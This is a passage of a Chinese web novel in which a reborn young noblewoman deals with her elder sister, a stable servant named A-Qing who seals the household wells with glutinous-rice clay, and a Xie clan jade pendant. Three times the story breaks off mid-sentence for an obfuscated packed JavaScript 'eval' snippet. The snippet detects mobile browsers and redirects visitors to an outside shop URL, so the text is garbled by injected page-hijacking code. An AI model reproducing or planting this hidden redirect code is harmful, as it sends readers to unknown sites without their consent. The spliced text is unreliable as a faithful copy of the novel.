一句话给崔行婉堵回去了。她从前以为,这个病弱的嫡姐是那种娇娇柔柔的恋爱脑,没想到她言行举止爽利直白,居然是御姐挂的。 好好一个姑娘,后来怎么就一心扑在男人身上了呢? 崔行婉忍不住又看了崔念贞一眼,才转身打开了盛着矾石的抽屉。 崔廷玉最厌恶女孩子家研究旁门左道,为了防他,崔行婉把矾石分成两份,一份放进抽屉,一份藏了起来。可是谁能料到,来的人是崔念贞呢? 崔念贞已经起身跟了过来,望向抽屉,目不转睛。 崔行婉如芒在背,咬了咬牙,干脆把抽屉里所有的矾石都捧了出来,一块也不留,叫崔念贞看个清楚。 崔行婉唤来小桃:“所有的矾石都在这儿了,快拿帕子过来,给姐姐包好……” 谁知崔念贞蹙眉道:“所有?” 说着,她从小桃手里拿过来,掂了掂:“就这些?” 怎么,还嫌少啊?这要用来画画,够她用一年的! 崔行婉被哽了一下,又不能发火,正要挤出一个尴尬又不失礼貌、又略显委屈失落的笑来,崔念贞已经把那包矾石揣进袖子里,叹道: “算了,先这样吧。” ……那你还揣得这么快! 崔念贞道了声谢:“多谢二妹妹了。你这边要是还需要矾石……” 崔行婉脚尖上前半步,正要跟她辞让一下,便听崔念贞继续道: “就再去跟府里的采办要。哦对了,等过了月底再去。” 说罢,抬脚就走。 崔行婉:…… 三句话被噎两次,崔行婉已经没脾气了。谁料,崔念贞走出几步,又仿佛想起了什么似的,调转回来,拿起书桌上纸张,问道: “这首诗是你写的?” 崔行婉顺着她的视线看去,正是她之前默写下来的现代诗句。 那诗五言四句,和大雍朝流行乐府民诗体制相似,只不过比古体诗用语直白。她便胡诌道:“这是我偶然在一本民间诗集中所得,顺手便抄录了下来。” 崔念贞点点头,在崔行婉起床之前,她就已经看过一遍这首诗,现在忍不住又看一遍,念了出来: “大雪压青松,青松挺且直。要知松高洁,待到雪化时……” 她念得很慢,读完前两个字,顿一顿,再读后三个字,活像一年级小学生参加朗诵比赛,有些令人发笑,听得崔行婉恍惚刹那,仿佛自己又回到了现代。 崔念贞念完,问:“作者是谁?现在还活着吗?” 其实崔行婉也不记得了。毕竟,那已经是上上辈子的事了。若非昨日,阿青立在覆雪青松下的画面太鲜明,她恐怕早忘了这首诗。 她嘴唇动了动,最终如实道:“……我不记得了。” 说罢,崔行婉鬼使神差地问了一句:“姐姐觉得,这首诗如何?” 崔念贞顿了顿,把脸别向一边:“嗯……甚好,甚好。” 说罢,她似乎自己也觉得这太敷衍了,咳嗽一声,又补道: “这是民间诗集是么,却写出了青松的高洁,可见民间也有高远志向。可是,笔墨纸砚实在是太贵了,大部分百姓读不起书,就算有志向,也说不出,写不出,一辈子就这么过去了。二妹妹,你生在高门大户,一出生就能读书认字,所以不觉得读书的机会有多珍贵……” 语气中,不是轻蔑,也不是悲悯,而是一种……真实。仿佛她在说的,不是遥远又卑微的田野乡间,而是亲眼所见,有感而发。 崔行婉愣住了。 她看着崔念贞,语气僵硬,又微妙:“你……” 下一刻,崔念贞就把纸张翻过来,展在她面前,语重心长道: “所以,二妹妹应当好好珍惜,努力读书才对,至少不要写错别字呀。” 她手指点着的,正是结尾的“时”字。 ……崔行婉写的是简体字! 崔行婉心中刚泛起一瞬微光,就被兜头冷水浇了透心凉。她憋红了脸:“……这、这不是……” 不是错别字! 崔念贞宽容地笑了笑,带着一点小骄傲,仿佛刚参加完扫盲班回来的姐姐,对待大字不识的妹妹那样,安慰道: “没事,下次改过来就好了。以后如果有机会,姐姐再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310068|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教你写字。” ……喂! 崔行婉觉得受到了侮辱,谁会连时间的时字都不会写啊?! 崔念贞却不等她分辩,也不把纸还给她,叠好塞进衣襟里,抬步走了。 她走路很快,带起一阵清风,挥一挥衣袖不带走一片云彩。小桃想去送她,都差点追不上她的脚步。 “……” 崔行婉磨了磨牙,拿起茶盏,茶水冰凉——崔念贞来去匆匆,下人连热茶也来不及沏——崔行婉也不管,咕嘟嘟把冷茶喝下去,“啪”地一声把茶盏扔在桌上,好像那是崔念贞的脑袋。 小桃一回来,看到崔行婉的表情,还以为是为了矾石,连忙道:“二小姐别动气!矾石没了,再去找煦哥儿要就是了。我这就去找他……” 煦哥儿就是崔府的采办,乃是崔大管事二哥房里的独苗苗。崔管事疼爱这个侄子,才把采办这个肥差给了他。 一听小桃要去找煦哥儿,崔行婉连忙摆了摆手:“别去了。” 小桃疑道:“小姐?” 崔行婉道:“没听大小姐临走时说吗?如果咱们缺矾石,等过了月底,再去找采办要。大概啊,是她去找煦哥儿领矾石的时候,煦哥跟她说的,叫她下月初再来。我估摸着,是现在已过月中,又逢太夫人寿宴,他若要再出府采办,还得上报核账领出府对牌,一套走下来太麻烦,他自然不乐业,便想拖个几天,拖到下月初清了账再一起办。就算你现在去跟煦哥儿要矾石,他照样也是这个说法。要不到的。” 小桃睁大了眼睛,难以置信道:“这也太不像话了,煦哥儿仗着有个好叔叔,平日捧高踩低也就罢了,自己的差事,也这么偷奸耍滑!” 崔行婉心道,要是其他奴仆敢如此,她说不定还会去敲打敲打。但是……是这个煦哥。那还是算了吧。 前世,阿青在寿宴当众检举崔管事,崔府颜面扫地,崔管事因此被发卖。煦哥儿为叔叔报仇,在阿青当值之夜,放火烧了马厩。只不过实在不巧,阿青不仅没死在火里,还跟崔念贞私奔了。而煦哥,当夜就被排查出来,被崔府秘密处置了。 这种容易情绪上头、行为极端的人,还是少去招惹为妙。反正依煦哥儿的脾气,是守不住这个肥差的,迟早要换人。她且冷眼旁观,独善其身就是了。 小桃不知她所想,看她如此,跺脚生气道:“可是您明明要用矾石的啊,现在全给了大小姐,您又不让我去跟煦哥儿要,您自己怎么办?” 崔行婉才没有全给出去呢。 还有另一半矾石,藏在床下。 崔行婉原本计算好了分量,刚好够崔府所有水井使用。现在少了一半,如果还是均分到每一口水井里,那一定收效甚微。 那怎么办? 她想了想,平日用水最多的,就是浣衣妇和厨娘。那就用在后院、厨房附近的水井里吧。 至于其余的水井呢? 那就没办法了。这里又不是工业化年代,矾石并不易得,出了崔府的门,她连去哪儿买都不知道,只能通过采办去寻。现在少了一半,那就是少了,没办法的事。嫡姐数年不见,亲自上门,她难道要拂嫡姐的面子?还是再跟一个敢杀人放火的男仆打擂台、要东西? 崔行婉摇心底暗自摇了摇头。见小桃仍一副“二小姐受了天大委屈”的模样,她便也没解释,顺水推舟道: “矾石没了就没了吧,别去要了。这又不是什么要紧物什,总好过教你再去跟崔管事的亲侄儿对嘴吵架,遭他记恨。” 小桃怔了怔,眼巴巴望着她:“小姐……”她尾音有点哽咽。 崔行婉又道:“有这等空,不如去帮我办另一件要紧事。” 小桃立刻道:“小姐您说,小桃一定办到!” 崔行温声说:“去盯住阿青,寸步不离。直到太夫人寿宴结束。” 小桃的表情顿时呆住了。 8. 第 8 章 崔府太夫人寿宴那天,正是积雪融化时。 连日阴冷,总算是出了太阳。冬日暖融,真是个好兆头,崔府众人喜笑颜开。 崔念贞自打回了崔府,还是第一次在宴席上露脸,引来了无数人关注的目光——毕竟她是养在崔太夫人膝下,是陈郡谢氏女亲自教养出来的孙女儿啊! 尤其是家中有适龄儿郎的世家夫人们,望向崔念贞的眼神最为热切。而崔念贞的模样,也确实没叫她们失望。她今年十七岁,生的一副好颜色。崔念贞与崔行婉虽有七分相似,然而崔行婉总是低眉敛目,恭谨柔顺的样子,崔念贞却昂首挺胸,满堂男男女女,异性表亲,她也毫无避讳地直视过来。比之庶妹,神态模样更添三分艳烈,在这冰雪时节,却如三月桃花正映面,叫人看得错不开眼。 现下,崔念贞正立在堂上一侧,太夫人身边。太夫人笑得雍容典雅,一手拉着她,一面挨个儿与她的娘家侄子们话家常,皆是陈郡谢氏子弟,风姿如玉。 其中最为出挑的,是领头的那名青年。他生得神清骨秀,温雅端方,若说崔念贞是灼灼桃花面,他便是濯濯春日柳,二人分别站在崔夫人左右两侧,如花开并蒂,两处所立皆成景。 崔行婉识得他,是陈郡谢氏东兴侯的嫡长子,也是谢氏一族中最出色的人才,名曰谢灵均。他少年时,便常随谢家夫人到崔家走动。只是,人家谢夫人看的崔太夫人的面子,又不是旁人的。崔夫人出身一般,打进“高端局”已经是顺带,谈何一个庶女。 当然,也不排除一个可能:崔夫人嫡亲的独女尚在庄子上,若要抬举一个庶女去结交陈郡谢氏的人,日后压女儿一头,崔夫人心里到底过不去。 如今看着亲女儿伴在崔太夫人身边,崔夫人悲喜交加。 崔行婉坐在崔夫人身边,垂眉顺目,权当自己是个添头。堂上,崔太夫人已经一手拉着崔念贞,一手拉着谢灵均,叫二人分别在她两侧落座。 这一下,崔夫人的喜盖过了悲。 崔行婉看到这一幕,心道:看来祖母打的,是叫崔念贞嫁回谢家的心思。 依崔行婉看,陈郡谢氏已经是顶级士族,就算三年后,各处农民起义,天下大乱,陈郡谢氏也岿然不动,实在是个好去处。若是她自己能嫁到谢家去,管他外面地覆天翻,她关起门来,生活水平还是和从前一样。这就是崔行婉最大的追求了。 至于夫婿怎么样? 如果是从前,崔行婉还会说,她希望找一个父母品性和蔼、身边没有侍妾通房的男人。但是现在,她什么都不管了。 侍妾?通房?爱怎么样就怎么样! 三年动乱,死了多少人?就连士族也不例外,多少高官权贵的人头被叛军挑下来,挑在他们战旗上,挂在城门口示众。 这还算是好的。她未来的夫君若是死在战场上,朝廷还会给她点安抚,给点尊荣。更多的,是携家带口仓皇逃亡,结果逃到一半就落进流民匪寇手里。 那会怎么样呢? 这个时代,是吃人的。物理意义上的吃人。 任你累世权贵,金闺玉质,到了那时,比牲畜都不如。 动乱的伊始,是农民起义。 起初,朝廷中没人看得起这群泥腿子。可是,渐渐的,各地起义越来越多,队伍逐渐坐大,甚至膨胀到了可怕的程度。 因为,他们造出了火药。 这简直不可思议! 在崔行婉的记忆里,火药大概发明于隋唐时期,而大雍朝的政治制度和国情也就是魏晋那会儿,居然让一群农民军造出了火药。 这其中根源,也令人啼笑皆非。 据说,是起义军的首领迷信长生,聚揽了许多方士,来为自己炼丹药吃,期望长生不老。谁知,长生药没炼出来,反倒误打误撞,叫那群方士研究出了□□。 崔行婉听到这消息时,只觉匪夷所思,可是根据前线幸存下来兵将所说,叛军确实热衷于炼丹。不仅如此,他们所过之处,百姓家中不闻婴啼。 兵将们原本不知此言何意,直到一位叛军将领不堪忍受,率兵出走,朝廷派出陈郡谢氏的子弟,对这位叛军将领扫阶相迎,将其招安,他才说出实情—— 原来,那群方士进言,孩童血肉至精至纯,是长生不老的最好补药。 这位出走的将领,就是阿青。 这位来招安的谢氏子弟,就是谢灵均。 阿青带来了叛军的真相,也带来了方士钻研出的火药配方,朝廷军队如虎添翼,一举扭转败局。 自此,阿青成了谢剑清,谢灵均也官拜侍中,成为当朝新贵,烜赫不已。 崔行婉又忍不住看了谢灵均一眼。 前世,她与谢灵均虽只有一面之缘,印象却非常深刻。当时阿青闹了太夫人寿宴,揭破马奴阿茗被拖欠月例、蠲省冬衣、生生冻死马厩之事,被冲进来的仆役按住,第一个拍案而起的是崔念贞,第二个站起身来的就是谢灵均。 当时,崔念贞指着按住阿青的仆役,令他们松开,让阿青继续陈情。她才说了两句,就被崔廷玉怒斥,将她拖了下去。是谢灵均站起身,对气得脸色铁青的崔父温言相劝: “今日是姑奶奶寿宴,若动干戈,毕竟不详,还请表叔息怒。” 都这么说了,崔父哪儿还能当场处置阿青。只得闭嘴,转而去跟太夫人鞠躬作揖,情真意切地表示,这事儿我是真不知道啊,儿子必定彻查!彻查!崔太夫人则连念几声“造孽”,发了阿茗的抚恤,此事也就揭过了。 寿宴结束时,崔行婉跟在周姨娘身边,向太夫人行礼告辞时,正听见谢灵均低声对崔太夫人道:“念贞表妹和您一样,心肠柔软,方才说话时才会情急了些,姑奶奶莫要怪她。” 一句话说得崔太夫人眉花眼笑,拉着他的手,点头应允,还要侍婢带他去瞧瞧他的念贞表妹。 从这件事上,就可以看出谢灵均不仅家世好,人品也好。同样都是亲孙女,祖母给嫡姐真是找了个好亲事。她崔念贞还有什么不满意的?非要跟个马奴私奔? 就算马奴成了大司马,可是崔念贞难道沾到光了吗? 前世战乱平定后,崔夫人便不管不顾地去找大司马谢剑清要人,也不知他说了什么,崔夫人回去后就失魂落魄,只拉着崔行婉的手痛哭流涕,口中直喊“贞儿”,从此后便有些疯癫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310069|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔父为了崔夫人不受刺激,便封了崔家上下的口,谁也不许提起大小姐。崔行婉问起时,崔父长叹了一口气,摆了摆手。 “你姐姐……不会再回来了。” 第二天清早,崔太夫人就吐了血,当天夜里就撒手人寰。崔家最后一块门面也倒了。 崔行婉一直以为,是谢剑清对崔家怀恨在心,哪怕娶了崔念贞,也不肯放过崔家。是他逼崔念贞和崔家断绝关系。在被贬为庶人、饥寒交迫的时候,崔行婉不止一次恨过她这位嫡姐,为何要跟人私奔!为何要任由发达后的夫婿整治自己的母族! 直到临死前见到谢剑清一面,才知道,原来崔念贞早就死了。 崔行婉推测,崔念贞应该是在战乱中出事了,连尸骨都找不回来了。 三年后那个世道,世家贵女“出事”,是令人不忍想象的。 即使崔念贞上辈子害得崔行婉好苦,但毕竟非她本意。崔念贞前世下场凄惨,将心比心,这教崔行婉也没法再去怪她了。 而且,这一世,崔念贞约莫不会私奔了。 ——因为阿青没有大闹寿宴,自然也不会与崔家为敌,落得要么逃出去、要么被逼死的地步。 可是,阿青若不逃出去,不投身叛军,三年后又岂能功成名就?那崔念贞跟他这段情,又该怎么办呢? 崔念贞正被崔太夫人拉着手,引她多跟谢灵均交谈。崔行婉看罢,不着痕迹收回视线,垂下眸,心不在焉地吃了一口水晶糕。 只是这水晶糕的味道,有些怪异。 那天崔念贞走后,崔行婉就把矾石用在了后院和厨房两口水井里。不过,矾石沉淀还需要些时间,若赶时间取用井水做了糕点,会有股加了化学添加剂的味道,也不足为奇 可是……除此之外,还有一股糯米味? 这就奇了。水晶糕她从小吃到大,绝对是用不着糯米的。 她心下疑惑,放下糕饼,又喝了一口茶水。 ……连茶水都透着一股糯米香气。 崔行婉愣了。 是水的问题。 这实在太奇怪了。崔行婉强行按耐,直到宴席散了,她低眉敛目地离席,直奔后院而去,想独自一人去看看水井是怎么回事。 谁知,在她穿过花园时,却撞见了极为尴尬的一幕: 松木青青,煦日融融,假山山石掩映下,一对男女离得极近,拉拉扯扯。 崔行婉忙躲到假山后面,藏得严严实实。 方才匆忙一瞥,这二人都是狐绒大氅,看衣着,绝不是仆婢小厮之流。这要是叫他们瞧见崔行婉,知道好事被人撞破了,有崔行婉好果子吃! 只是,这是哪里来的野鸳鸯?难道是今天来赴宴的宾客? 可是怎么选在别人家里寿宴上? 崔行婉一面捂住嘴,生怕叫人发现自己,一面心生好奇,忍不住偷偷越过山石缝隙看去。 这一看,她顿时目瞪口呆。 是崔念贞和谢灵均。 更离谱的是,谢灵均一直后退,神色尴尬,崔念贞甚至拉住了他的衣袖! 崔行婉吓得睁大了眼睛,一把捂住自己的嘴。 9. 第 9 章 若非崔行婉死死捂着自己的嘴,恐怕会吓得叫出来。 只见崔念贞拉着谢灵均,似乎要牵他继续往堂后花木深深处走,谢灵均把衣袖拽回来,站在原地停顿片刻,似乎犹豫了一下,便做了个请的手势,二人一前一后,继续往堂后走去。 崔行婉也不敢出去,只隔着山石,远远看着他们交谈,却听不清声音。 她心里惊涛骇浪:这是怎么回事?崔念贞心里的人是阿青,这绝对假不了,她连私奔都干得出来,绝对不会想嫁进陈郡谢氏。 那她为何还要私下约谢灵均来此? 退婚? 不对,如今婚事还没成,只是崔家有意相看,谢家尚未来下聘呢! 明志? 可是刚刚崔念贞主动牵谢灵均衣袖啊!这是明哪门子的志?告诉谢灵均,我好想嫁给你? 她努力踮起脚尖,想从山石缝隙中看得更清晰些。 只见谢灵均忽然后退两步,对崔念贞郑重地行了一礼。崔念贞看得分明,这是大雍朝中,世家子弟应诺之礼,重之慎之。 他应了崔念贞什么?值当他用此大礼? 绝不是小事。 可是,谢灵均尚未弱冠,据说是要年后才出仕,尚无官职,又能应下什么大事? 左思右想,除却个人的“婚姻大事”,好像也没有别的了。 难道是崔行婉求他,千万不要答应这门婚事? 思来想去,这个可能性最高。崔行婉不禁有些无语。 ……这个嫡姐,是在平宁州过得太舒坦了吗,连一点规矩方圆都不明白?婚姻一事,父母之命媒妁之言,岂是谢灵均这么个毛头小子可以抵抗得了的,他连官职都没有,吃穿用度皆靠家里,身边小厮书童个个认的是陈郡谢氏,又不是他。俗话说得好,枪杆子里出政权,他谢灵均一没钱二没权三没人,还敢反抗家族? 怎么反抗?像崔念贞上辈子那样,逃家私奔,横死战乱里吗? 她当谁都是她这种恋爱脑吗? 崔行婉捂着嘴,都忍不住冷笑一声。 一声短促的嗤笑从掌心溢出,崔行婉骤然回过神来,吓得心提到嗓子眼。所幸,并无人发觉。谢灵均已行完礼,转身离去,正经过崔行婉藏身的假山,她忙屏住了呼吸,蹲下身来,生怕给他瞧见。 然而这一蹲,触目所见,除了匆匆而过的鞋履,还有随着脚步落下的一个物什,落在刚化了雪的春泥里,竟没发出半点声响。 谢灵均自然也没发觉。待他身影完全消失,崔行婉悄悄往树阴处一觑,崔念贞也已经不见踪影。 崔行婉便伸出手,将那物什拿了起来,拂去上面雪泥,才发现原来是枚玉佩。 她还蹲在假山里面的山石里,光线不好,看也看不清,忙钻了出去,迎着晴光眯起眼睛,正待仔细看去,耳畔却忽起惊雷: “二小姐?” 那是阿青的声音。 再听见这个声音,崔行婉仍然不由自主地全身一抖。 电光石火之间,她将玉佩收入袖中,转身就是一个明媚过头的笑: “阿青,怎么啦?” 一套动作行云流水,全身的防御警报数值都被拉满了。 阿青倒诧异地笑:“二小姐好生厉害,还没回头,便知是小人?” 今日天气晴好,阿青不似那日在青松下一般疏离冷淡,而是对她微微含笑,更添三分俊朗与可亲。 崔行婉完美的笑容微微一顿。 前几日西院相见,他还毕恭毕敬,连抬头都不敢,可是今天,上来便是打趣。 怎么,因她专程给马厩里送了冬衣,还劝了崔夫人撤销“蠲省”,他便自觉崔二小姐软性,打量她同崔念贞是一路货色吗?以为她也会跟个奴仆谈恋爱? 这并非崔行婉凭空臆断。奴仆也是人,是人就会有算计,就会看人下菜碟。有点体面的奴仆欺压底层的奴仆,奴仆再去有样学样,捧高踩低,若哪个主子在府内不受重视或好脾气,总要被奴仆们怠慢轻视,有要紧的活计,也会被一推四五六,没个着落。 打趣玩笑,就是怠慢轻视的开端。 早年崔夫人有崔念贞养在膝下,自忖还能再拼个儿子,自然没把周姨娘和她的庶子庶女放在眼里。下人们有样学样,崔行婉刚穿过来时,吃了不少苦头,方悟出这个道理。可是若叫她将不敬的奴仆提脚卖了,她又实在干不出来——崔府乃是士族,奴仆多是家生子,若卖了,传出去不好听,这是其一。至于其二,便是他们的家人亲眷都在崔府,若将其中一人卖了,父母姐妹终生不能得见,何等悲惨。 ……崔行婉狠不下心。 所以,她从不与奴仆笑语闲聊,不给他们僭越和试探的机会,也是不给他们“犯错”的机会。 换在平时,若有奴仆像阿青这样跟她说话,崔行婉早斥退他了,或是罚俸,或是移交给崔夫人房里的李嬷嬷,教他再也不敢轻慢自己。可是…… 这是未来的大司马啊! 就算他忘了她是崔二小姐,只记得她是一个女人,崔行婉也得笑意盈盈地迎上去。 哪怕心里在冷笑。 什么雪压青松,青松不改,瞎想什么呢?崔行婉啊崔行婉,你真是吃的太饱了,文青病犯了,忘了人性是什么样的。得寸进尺,才是人的本能。 她错开阿青的视线,开口问:“这是打哪来,怎么还拎着水桶呢?难不成你不养马了,改成浣衣啦?” 崔行婉含着笑,目光落在阿青脚边的水桶上。 他衣衫上依稀水痕,连裤脚都湿了,想必提着水桶走了一路。 崔行婉心道,你的小情人崔念贞都去跟她准未婚夫私会了,你还毫无察觉,为崔家当牛做马。也就是阿青来得晚,没能看见崔念贞扯着谢灵均衣袖的那一幕,要不然,指不定什么表情呢。 阿青不知道她在想什么,认真答道:“二小姐误会了,这里面不是水。” 说着,掀开水桶盖子,里面竟然是一桶泥。 湿哒哒,黏糊糊,表层泛着一层凝霜似的白,崔行婉看了一眼,就立刻别过脸。 她想起了上辈子,她沦为庶民后,在黄土路上、郊外草丛常见到的驴粪。上面也是浮着一层白霜,可是就算看得分明,也绕不开,避不了,百姓为了给华盖马车让路,时不时就会踩上一脚,人人鞋底托着污迹,分不清是泥还是秽物。 她没法再回忆下去,正要转移话题,一张口,却蓦地嗅到了一股糯米味道。 糯糯的米香气息,混着土腥味,从这桶卖相恶心的泥中散发出来。 和今天的水晶糕、茶水里的味道,何其相似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310070|198792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔行婉怔然:“这,这是……” “这是用米浆和糯米汁混成的黏土。” 阿青已经猜到她要问什么,娓娓道来:“这几日,积雪渐融,若雪水带着泥沙渗透进井壁,井水就会受到污染。所以,要用这种黏土来裱糊砖缝。我昨日已在井壁刷过一层了,今日还需再补一次,方才牢固。” 崔行婉下意识地看向不远处的水井,只见水井根部还垒了一圈砖石,加高了井台,附近融的雪水都积在了洼地里,不得寸进。 在这个时代,如果没有矾石过滤,那么阻拦污染物,就是涤清水源的好办法。 崔行婉怔道:“这也是你做的?” ……对,这里靠近厨房,滤清厨房用水,他们下人也能沾光。旋即,崔行婉又怔了,问:“不对!这口水井里,早就刷过一层黏土了。你为何今日又过来?” 要不然,水里哪儿来的糯米味? 阿青点头道:“是啊。府内所有的水井,我昨日都处理过了。今日过来,只是检查一下,看哪里需要补刷……” 他语气自然,仿佛只是在说今天天气不错。 崔行婉看着他,彻底怔了。 前日,雪中松下,阿青来归还冬衣,说出水井将会受污,和其他奴仆的艰难时,崔行婉虽因前世经历而感同身受,但是也只以为,阿青此举是在反抗夫人的“蠲省”。 可是,他竟然不只是说说而已。 他列举浣衣妇等人的苦难,并不是为了给自己的处境添砖加瓦,在崔行婉这个二小姐面前“卖惨”。 这种加固水井、防止渗透的办法,也许是民间的土方子,也许是阿青自己苦思冥想出来的,可是无论是哪一种,结果摆在这里——他做了。 厨房日日有人来挑水,后院日日有人来浣衣,可是他们没有想到,又或者是想不到,总之无人去管。 只有阿青,一个马奴,吃住起居都在偏得不能再偏的东北角,却挑着一桶黏土,在披红挂金的寿宴之际,走遍阖府。 崔行婉茫然地问了一句: “……为什么?” 这府中的奴仆,任何一个,不比你的地位高?为什么你要做,为什么你要替他们做? 阿青却笑:“为什么不能呢?举手之劳,大家都好过,何苦计较那么许多?阿青自知地位卑贱,可是…… 他顿了顿,复又展颜道:“若我能想到他人想不到的,那恐怕,我也没有他人以为的那么卑贱。前日,二小姐不是还赠我了八个字吗?” “——王侯将相,宁有种乎。” 寒风吹过,松枝簌簌而动,搅得残雪随风而逝,拂过相对而立的二人。 天地都寂。 崔行婉死也没有想到,她此生,还有再听到这句话的机会。 晶莹雪花覆在眼前少年的眉眼上,一粒粒,一声声,是落雪,是心跳。 衣袖下,崔行婉蓦地攥紧了手心,指甲磕在了什么东西上,她还没来得及细想,就听见一声厉喝,惊雷般炸开: “退下!” 崔行婉骤然回神,立时转身,一个衣饰华贵的青年男子站在门口,负手而立,冷冷地瞧着阿青。 正是她一母同胞的哥哥,崔廷玉。 也不知崔廷玉站在这里多久,听了多久! 10. 第 10 章 崔行婉心中狂跳,阿青已经识时务地后退数步,与崔行婉拉开距离,向崔廷玉撩袍跪下,口称“大公子”。 崔廷玉站在原地,脸色沉沉,一把拨开正欲挡住他视线的崔行婉,对跪在地上的阿青道:“一个连姓氏都无的马奴而已,该知本分。若再叫我知道,你有何处僭越,仔细你的皮。” 说罢,一把锢住崔行婉的手臂,转身便扯着她走了。 崔行婉大气也不敢出,一路到了她的寝卧里,崔廷玉反手关上门,到桌边坐下,拿起桌上剩下的半杯茶便一饮而尽,重重搁在桌上。 “崔行婉,今日是怎么回事?一个马奴,居然还能来堂后跟二小姐搭上话了!你不斥退他,还跟他浑说什么?!” 崔廷玉居然直呼她的大名来质问,显然是怒了。随着崔廷玉的声音,帘栊下,一个伏着的身影也瑟缩了一下。崔行婉定睛一看,原来是小桃。 她跪在帘下,与崔行婉四目相对,眼睛红肿,肩膀一抽一抽的,嗫嚅着不敢说话。 看她和小桃对上眼,崔廷玉怒气更甚,质问:“不仅如此,你为何要命小桃去跟踪阿青?她是你的贴身侍婢,是她鬼迷心窍,不要清誉了,还是你……?” 崔行婉张口欲辩,将责任推到阿青和崔念贞身上,道一句“姐姐与阿青不同寻常”,一切便可迎刃而解。可是…… 可是她的脑海中,忽然闪过阿青今日提着水桶的样子,他微笑着复述出那一句“王侯将相,宁有种乎”……崔行婉真的,很久很久,没有听到过这些话了。 已经久到,将近两辈子了。 于是那些名正言顺揭穿马奴与大小姐私情的话,都哽在喉头。一时间,崔行婉默默无言。 崔廷玉脸色骤变,重重拍案:“说啊!到底是不是你……?” 没等他说完,崔行婉便立刻将目光转向小桃,语气讶异: “什么,小桃……跟踪阿青?” 仿佛她刚刚从哥哥这里得知,贴身侍婢亲近一个马奴。 小桃闻言,整个人都呆滞了,汗毛直竖,脱口而出:“小姐!” 崔行婉掩袖,似是倒吸了一口冷气,为这消息而震撼。谁知,她这一挥手,一个物什从她袖子里当啷掉了下来,竟是那枚玉佩。崔行婉这才反应过来,原来她一直下意识将它握手心,忘了放开。 她心下一惊,忙要去捡,崔廷玉已瞧见了,喝道:“还藏?拿过来。” 说着,劈手拿了过来。 崔廷玉只当是她和阿青的什么物件,阴沉着脸,捏在手中,晴光越过窗纸在玉佩上流转,愈发衬出温润的光辉来。 直到这时,崔行婉才得空看清这枚玉佩的全貌,一看之下,她当场便愣住了。 她见过这枚玉佩。 在前世。 ……在阿青的腰间! 这枚玉佩,由羊脂白玉雕刻而成,纹路繁复,仔细看去,方能看清,这纹路是一个篆形的“谢”字。 前世种种涌入脑海,她跪在黄土路边,大司马谢剑清高坐马上,如看蝼蚁般垂眸看向她,腰间的白玉佩在玄色袍服的映衬下分外显眼。 一模一样,分毫不差。 崔行婉确信。 可是,可是这是从谢灵均身上掉下来的!她亲眼所见! 谢灵均的玉佩,未来怎么会到了阿青手里?难道是谢灵均送出去的? 崔行婉思绪纷涌,崔廷玉却比她还愕然: “这不是谢家嫡系才有的玉佩吗?怎么在你这儿?” 崔行婉骤然抬头。 “谢家……嫡系?!” 原来,这枚刻着“谢”字的玉佩,并非凡品,而是陈郡谢氏东兴侯一脉嫡系子弟的标志。 昔年东兴侯征战时,在平宁州得了一个玉脉,便将其中最好的玉料带了回来,雕刻成玉佩。由于玉料成色极好,雕刻出来的玉佩成品也是极少的,只有东兴侯的嫡系会拥有,绝无赠人之可能。 崔行婉听得的目瞪口呆。 阿清一直是个孤儿。无父无母,连个姓氏也没有。可是前世,他招安之后,却有了名姓。 谢,剑,清。 名字可以是自己起的。可是姓氏呢? 从前崔行婉没有多想,只当是阿青从一个奴隶要融入高官贵族中,自然要给自己取个合乎时宜的名字,但是天下的姓氏千千万,他为什么偏偏要姓谢呢? 也许是因为,他本来就姓谢。陈郡谢氏的谢。 她好像明白了,为什么崔念贞今天会和谢灵均拉拉扯扯了。 谢灵均身为谢氏子弟,玉佩就佩在腰间,崔念贞岂会看不见!既看见了,定然会替她的情郎问! 怪不得,怪不得谢灵均神色肃然;怪不得,他离开之前,对崔念贞郑重一礼,那是许下承诺的礼节。 他承诺了什么? 还能是什么承诺! 崔廷玉的嘴巴还在一张一合,崔行婉什么都听不见了。 也不知崔廷玉说了什么,总之竟没追问她,谢灵均的玉佩为何在她手里,也没再恼,临走时,还对她笑了笑,道:“把玉佩收好,这是谢家的家传信物,总要寻个时候还给人家的。” 说罢,卷帘抬步而出。 临走之际,忽然顿住,对崔行婉道: “以后,不许鼓捣旁门左道的东西,更不许拿给崔念贞。知道了吗?” 崔廷玉居然连崔念贞曾找她要矾石的事情都知道了。 崔廷玉一走,小桃整个人都脱力了。 崔行婉也沉默很久。半晌,她坐下来,拿起茶盏,淡淡瞥了小桃一眼。 